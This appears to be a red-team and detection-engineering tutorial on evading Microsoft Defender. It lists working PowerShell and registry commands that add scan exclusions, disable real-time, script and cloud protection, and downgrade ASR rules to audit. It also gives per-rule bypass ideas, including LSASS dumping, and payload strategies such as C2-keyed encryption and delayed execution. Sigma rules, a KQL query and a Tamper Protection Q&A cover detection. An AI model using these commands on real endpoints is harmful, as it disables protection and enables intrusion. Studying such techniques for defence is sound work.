Windows Defender Evasion
Windows Defender (Microsoft Defender Antivirus) is the default endpoint protection on every modern Windows installation. Understanding its detection layers — file scanning, behavioral monitoring, cloud lookup, ASR rules, and network inspection — is essential both for building evasion techniques and for hardening environments. Disabling or bypassing Defender requires admin rights; the attempts themselves are high-fidelity detection signals.
You have admin access and need to execute a custom implant. Defender has already flagged two previous payloads. Rather than fighting signature detection with repeated payload modifications, you want to understand the full detection stack: what layers you must defeat, in which order, and what each bypass attempt looks like to a detection engineer with Sysmon + MDE telemetry. The goal is to understand why evasion works so you can detect attempts against your own environment.
Defender Detection Layers
Path and Process Exclusions
# Defender exclusions disable scanning for specific paths, extensions, or processes.
# Adding an exclusion requires admin. The exclusion itself is a persistence aid:
# drop your payload in the excluded path and it won't be scanned on write or execute.
# Exclusions are also commonly misconfigured in enterprise — find existing ones first.
# Check existing exclusions:
Get-MpPreference | Select ExclusionPath, ExclusionExtension, ExclusionProcess
# Add exclusion for a directory (requires admin):
Add-MpPreference -ExclusionPath "C:\Temp\Tools"
Add-MpPreference -ExclusionProcess "powershell.exe" # dangerous! disables PS scanning
Add-MpPreference -ExclusionExtension ".exe" # disables ALL .exe scanning
# Via registry (same result, less obvious cmdlet):
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Temp" /t REG_DWORD /d 0 /f
# Find exclusions set via GPO (check HKLM policy keys):
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths"
# Defender uses process exclusions extensively in enterprise:
# Common misconfiguration: backup agents, AV scanners, pentest tools excluded.
# If C:\Program Files\SomeBackup\agent.exe is excluded from scanning,
# replacing that binary with your payload runs without any scan.
Defender Tampering via Registry and PowerShell
# Disable real-time protection (requires admin; logs Event 5001 in Defender event log):
Set-MpPreference -DisableRealtimeMonitoring $true
# Disable via registry (GPO override path — only works if not managed by Intune/GPO):
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
# Tamper Protection: since Win10 1903, prevents modification of Defender settings
# via registry or PowerShell when enabled. Check status:
Get-MpComputerStatus | Select TamperProtectionSource, IsTamperProtected
# Tamper Protection bypass requires:
# 1. Sign in to Windows Security UI and disable it manually (requires physical/RDP access)
# 2. Intune/MDM policy override (requires MDM admin)
# 3. Kernel-level driver that writes to registry bypassing PPL protection
# 4. Exploit in MsMpEng.exe process itself
# Disable specific Defender features without full disable (may evade some tamper checks):
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableIOAVProtection $true # disables download scanning
Set-MpPreference -DisableScriptScanning $true # disables AMSI for scripts
Set-MpPreference -MAPSReporting Disabled # disables cloud lookup
ASR Rule Bypass
| ASR Rule | GUID | Bypass approach |
|---|---|---|
| Block Office from creating child processes | D4F940AB-401B-4EFC-AADC-AD5F3C50688A | Use WMI/COM from Office macro instead of ShellExecute |
| Block credential stealing from LSASS | 9E6C4E1F-7D60-472F-BA1A-A39EF669E4B2 | Indirect LSASS dump via MiniDumpWriteDump from custom process not in ASR watchlist |
| Block process creations from PSExec/WMI | D1E49AAC-8F56-4280-B9BA-993A6D77406C | COM-based WMI instead of wmic.exe; own SCM API calls |
| Block untrusted/unsigned processes from USB | B2B3F03D-6A65-4F7B-A9C7-1C7EF74A9BA4 | Sign the binary or run from a network path |
| Block Win32 API calls from Office macros | 92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B | Use .NET reflection instead of direct API calls in VBA |
# Check ASR rule status:
Get-MpPreference | Select AttackSurfaceReductionRules_Ids, AttackSurfaceReductionRules_Actions
# Each rule has an action: 0=disabled, 1=block, 2=audit, 6=warn
# In audit mode: rule fires but doesn't block — still logs to Defender event log.
# Audit mode is the enterprise standard for pilot deployment.
# Attacker value: if audit-only, execute freely; events go to SIEM but nothing blocks.
# Set all rules to audit (requires admin — useful for red team assessment):
$ruleGuids = (Get-MpPreference).AttackSurfaceReductionRules_Ids
Set-MpPreference -AttackSurfaceReductionRules_Ids $ruleGuids `
-AttackSurfaceReductionRules_Actions ($ruleGuids | ForEach-Object { 2 })
Cloud Protection and Block at First Sight
# Block at First Sight (BAFS): Defender sends unknown file hash to cloud.
# If unknown and suspicious: blocked pending cloud verdict (up to 10 seconds).
# Bypass approach: make the file "known" by ensuring it has been submitted before,
# or modify the file so its hash is unique and doesn't match known malware.
# The cloud system also scores PE files by behavior metadata, not just hash.
# Disable cloud-delivered protection (blocks BAFS and MAPS reporting):
Set-MpPreference -MAPSReporting Disabled
Set-MpPreference -SubmitSamplesConsent NeverSend
Set-MpPreference -CloudBlockLevel Disabled
# Check cloud protection status:
Get-MpComputerStatus | Select CloudProtectionEnabled, CloudBlockLevel
# Payload strategies against cloud detection:
# 1. Encrypted payload: the binary on disk is encrypted; decryption key arrives via C2.
# Cloud sees an encrypted blob — no PE behavior to analyze. Stub must be clean.
# 2. Reflective loading: no payload file ever written to disk.
# Cloud only scans files at write time — in-memory payloads bypass file scanning.
# 3. Legitimate binary execution: payload executed entirely within signed LOLBins.
# Cloud doesn't flag signed Microsoft binaries.
# 4. Delayed execution: payload contains a 10+ day timer before malicious activity.
# Cloud sandbox runs for <5 minutes; delayed payload appears benign.
Detection Engineering
title: Windows Defender Real-Time Protection Disabled
logsource:
product: windows
service: windefend
detection:
selection:
EventID:
- 5001 # Real-time protection disabled
- 5010 # Scanning for malware/other sw disabled
- 5012 # Scanning for viruses disabled
condition: selection
level: critical
tags: [attack.defense_evasion, T1562.001]
title: Defender Exclusion Added via Registry or PowerShell
logsource:
product: windows
category: registry_set
detection:
selection:
TargetObject|contains:
- '\Windows Defender\Exclusions\Paths'
- '\Windows Defender\Exclusions\Extensions'
- '\Windows Defender\Exclusions\Processes'
condition: selection
level: high
tags: [attack.defense_evasion, T1562.001]
title: ASR Rule Modified to Disabled or Audit State
logsource:
product: windows
category: registry_set
detection:
selection:
TargetObject|contains: 'AttackSurfaceReductionRules'
Details: '0' # 0 = disabled; 2 = audit
condition: selection
level: high
-- MDE KQL: Defender settings changed by non-system process
DeviceRegistryEvents
| where RegistryKey has "Windows Defender"
| where RegistryValueName in~ ("DisableRealtimeMonitoring",
"DisableBehaviorMonitoring",
"DisableAntiSpyware",
"MAPSReporting")
| where RegistryValueData == "1" or RegistryValueData == "0"
| where InitiatingProcessFileName !in~ ("MsMpEng.exe", "SecurityHealthService.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName,
InitiatingProcessAccountName, RegistryKey, RegistryValueName, RegistryValueData
Q&A
Tamper Protection blocks registry and PowerShell modifications to Defender settings — what attack vectors still work against an endpoint with Tamper Protection enabled, and how does detection engineering account for them?
Tamper Protection uses PPL (Protected Process Light) to guard the MsMpEng.exe process and uses a kernel-mode driver to intercept and block write operations to Defender's registry keys and configuration files from non-PPL-trusted processes. This closes the most common administrative bypass paths: Set-MpPreference, direct registry writes, and file deletion of Defender's engine files all fail. However, several attack surfaces remain.
First, Intune/MDM policy override: Tamper Protection is specifically designed to yield to MDM policy. An attacker who compromises an account with Intune Device Configuration rights can push a policy that disables Tamper Protection or configures exclusions through the managed channel, which Defender treats as trusted. This is a privileged path, but it is a realistic concern in environments where Intune admin rights are not tightly scoped. Detection: Intune policy change events in the Entra ID audit log, specifically DeviceConfigurationPolicy change events targeting Defender configuration.
Second, the attack can avoid defeating Defender entirely. Techniques that live entirely in memory (reflective loading, process injection), use signed LOLBins, operate via behaviors not covered by ASR rules, or run fast enough to complete before Defender's behavioral engine correlates the activity do not require disabling Defender. The evasion shifts from "defeat the scanner" to "stay under its behavioral detection threshold." Detection engineering's answer is not to rely only on Defender-specific events but to maintain independent telemetry (Sysmon, network flow analysis, authentication logs) that does not depend on Defender being functional.
Third, kernel-level exploitation of Defender itself (CVEs in MsMpEng.exe, the Windows kernel, or kernel driver vulnerabilities in Defender's own minifilter) can bypass Tamper Protection by operating at a privilege level higher than PPL. These are rare, require exploit development, and are patched quickly — but they represent the ceiling of what a sophisticated attacker can do. Detection relies on kernel integrity monitoring (PatchGuard alerts, driver signing events) and behavioral anomaly detection at the hypervisor level in environments that can afford it.